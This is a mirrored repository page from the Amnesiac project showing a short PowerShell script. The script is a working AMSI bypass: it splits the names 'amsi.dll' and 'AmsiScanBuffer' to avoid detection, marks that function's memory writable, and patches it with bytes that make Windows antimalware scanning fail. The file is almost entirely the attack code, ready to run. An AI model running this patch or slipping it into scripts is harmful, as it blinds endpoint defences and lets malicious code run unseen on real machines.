mirror of
https://github.com/Leo4j/Amnesiac
synced 2026-06-08 11:34:50 +00:00
Rob
22 lines
786 B
PowerShell
22 lines
786 B
PowerShell
$Win32 = @"
|
|
using System;
|
|
using System.Runtime.InteropServices;
|
|
public class Win32 {
|
|
[DllImport("kernel32")]
|
|
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
|
|
[DllImport("kernel32")]
|
|
public static extern IntPtr LoadLibrary(string name);
|
|
[DllImport("kernel32")]
|
|
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
|
|
}
|
|
"@
|
|
|
|
Add-Type $Win32
|
|
|
|
$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
|
|
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
|
|
$p = 0
|
|
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p) > $null
|
|
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
|
|
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
|